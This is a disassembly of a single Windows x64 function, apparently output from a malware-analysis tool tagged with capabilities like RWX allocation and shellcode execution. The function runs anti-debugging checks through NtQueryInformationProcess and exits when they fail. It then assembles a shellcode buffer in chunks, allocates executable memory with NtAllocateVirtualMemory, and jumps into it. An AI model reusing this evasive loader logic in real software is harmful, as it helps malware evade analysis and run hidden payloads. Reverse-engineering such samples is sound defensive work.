Function at 0x1400113ca
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
jmp 0x1400169e0
push rbp
push rdi
sub rsp, 0x2f8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x82
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140025040]
xor rax, rbp
mov qword [rbp + 0x2b8], rax
lea rcx, [0x14002b100]
call fcn.1400115a0
mov ecx, 0x3e8
call fcn.1400113fc
call fcn.140011235
test eax, eax
je 0x140016a38
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
mov ecx, 0x3e8
call fcn.1400113fc
call fcn.1400111b8
test eax, eax
je 0x140016a55
mov ecx, 0x3e8
call fcn.1400113fc
call fcn.140011591
test eax, eax
je 0x140016a66
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
mov ecx, 0x3e8
call fcn.1400113fc
lea rcx, [0x140020c00]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x1400171a4
lea rdx, str.NtQueryInformationProcess
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x140016b77
mov dword [rbp + 0x84], 0x1f
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rbp + 0x64]
mov qword [rsp + 0x20], rcx
mov r9d, 4
lea r8, [rbp + 0x44]
mov edx, 0x1f
mov rcx, rax
call qword [rbp + 0x28]
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
jl 0x140016af7
cmp dword [rbp + 0x44], 0
jne 0x140016af7
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
mov ecx, 0x3e8
call fcn.1400113fc
mov dword [rbp + 0xc4], 0x1f
mov dword [rbp + 0x104], 0
lea rdx, str.NtQueryInformationProcess
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x128], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov r9d, 4
lea r8, [rbp + 0x104]
mov edx, 0x1f
mov rcx, rax
call qword [rbp + 0x128]
mov dword [rbp + 0xe4], eax
cmp dword [rbp + 0xe4], 0
jne 0x140016b77
cmp dword [rbp + 0x104], 0
jne 0x140016b77
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
mov ecx, 0x3e8
call fcn.1400113fc
call fcn.140011429
test eax, eax
je 0x140016b92
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
mov ecx, 0x3e8
call fcn.1400113fc
call fcn.140011433
test eax, eax
je 0x140016bad
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
mov qword [rbp + 0x148], 0
mov ecx, 0x5f5e100
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x148], rax
cmp qword [rbp + 0x148], 0
je 0x140017197
mov r8d, 0x5f5e100
xor edx, edx
mov rcx, qword [rbp + 0x148]
call fcn.140011456
mov r8d, 0xf
lea rdx, section..data
lea rcx, [0x1400254c0]
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0xe
mov r8d, 0xf
lea rdx, str.RQH1
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x1c
mov r8d, 0xf
lea rdx, [0x140020da8]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x2a
mov r8d, 0xf
lea rdx, [0x140020dc0]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x38
mov r8d, 0xf
lea rdx, [0x140020dd8]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x46
mov r8d, 0xf
lea rdx, [0x140020df0]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x54
mov r8d, 0xf
lea rdx, [0x140020e08]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x62
mov r8d, 0xf
lea rdx, [0x140020e20]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x70
mov r8d, 0xf
lea rdx, [0x140020e38]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x7e
mov r8d, 0xf
lea rdx, [0x140020e50]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x8c
mov r8d, 0xf
lea rdx, [0x140020e68]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x9a
mov r8d, 0xf
lea rdx, [0x140020e80]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0xa8
mov r8d, 0xf
lea rdx, [0x140020e98]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0xb6
mov r8d, 0xf
lea rdx, str.XAXYZAXAYAZH
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0xc4
mov r8d, 0xf
lea rdx, [0x140020ec8]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0xd2
mov r8d, 0xf
lea rdx, [0x140020ee0]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0xe0
mov r8d, 0xf
lea rdx, [0x140020ef8]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0xee
mov r8d, 0xf
lea rdx, [0x140020f10]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0xfc
mov r8d, 0xf
lea rdx, [0x140020f28]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x10a
mov r8d, 0xf
lea rdx, [0x140020f40]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x118
mov r8d, 0xf
lea rdx, [0x140020f58]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x126
mov r8d, 0xf
lea rdx, [0x140020f70]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x134
mov r8d, 0xf
lea rdx, [0x140020f88]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x142
mov r8d, 0xf
lea rdx, [0x140020fa0]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x150
mov r8d, 0xf
lea rdx, [0x140020fb8]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x15e
mov r8d, 0xf
lea rdx, [0x140020fd0]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x16c
mov r8d, 0xf
lea rdx, [0x140020fe8]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x17a
mov r8d, 0xf
lea rdx, [0x140021000]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x188
mov r8d, 0xf
lea rdx, [0x140021018]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x196
mov r8d, 0xf
lea rdx, [0x140021030]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x1a4
mov r8d, 0xf
lea rdx, [0x140021048]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x1b2
mov r8d, 0xf
lea rdx, [0x140021060]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x1c0
mov r8d, 0xf
lea rdx, [0x140021078]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x1ce
mov r8d, 0xf
lea rdx, [0x140021090]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x1dc
mov r8d, 0xf
lea rdx, [0x1400210a8]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x1ea
mov r8d, 0xf
lea rdx, [0x1400210c0]
mov rcx, rax
call fcn.1400112b2
lea rax, [0x1400254c0]
add rax, 0x1f8
mov r8d, 6
lea rdx, [0x1400210d4]
mov rcx, rax
call fcn.1400112b2
mov qword [rbp + 0x168], 0
mov qword [rbp + 0x188], 0x1ff
lea rcx, [0x140020c00]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x1a8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x188]
xor r8d, r8d
lea rdx, [rbp + 0x168]
mov rcx, rax
call qword [rbp + 0x1a8]
mov dword [rbp + 0x1c4], eax
mov r8d, 1
lea rdx, [0x1400210dc]
lea rcx, [0x1400254c0]
call fcn.1400112b2
mov r8d, 0x1ff
lea rdx, [0x1400254c0]
mov rcx, qword [rbp + 0x168]
call fcn.1400112b2
call qword [rbp + 0x168]
mov qword [rbp + 0x1e8], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x8000
lea r8, [rbp + 0x1e8]
lea rdx, [rbp + 0x168]
mov rcx, rax
call qword [0x1400256c0]
mov dword [rbp + 0x1c4], eax
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.ucrtbased.dll_free]
jmp 0x1400171a8
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140020780]
call fcn.1400114bf
mov rax, rdi
mov rcx, qword [rbp + 0x2b8]
xor rcx, rbp
call fcn.1400112ad
lea rsp, [rbp + 0x2c8]
pop rdi
pop rbp
ret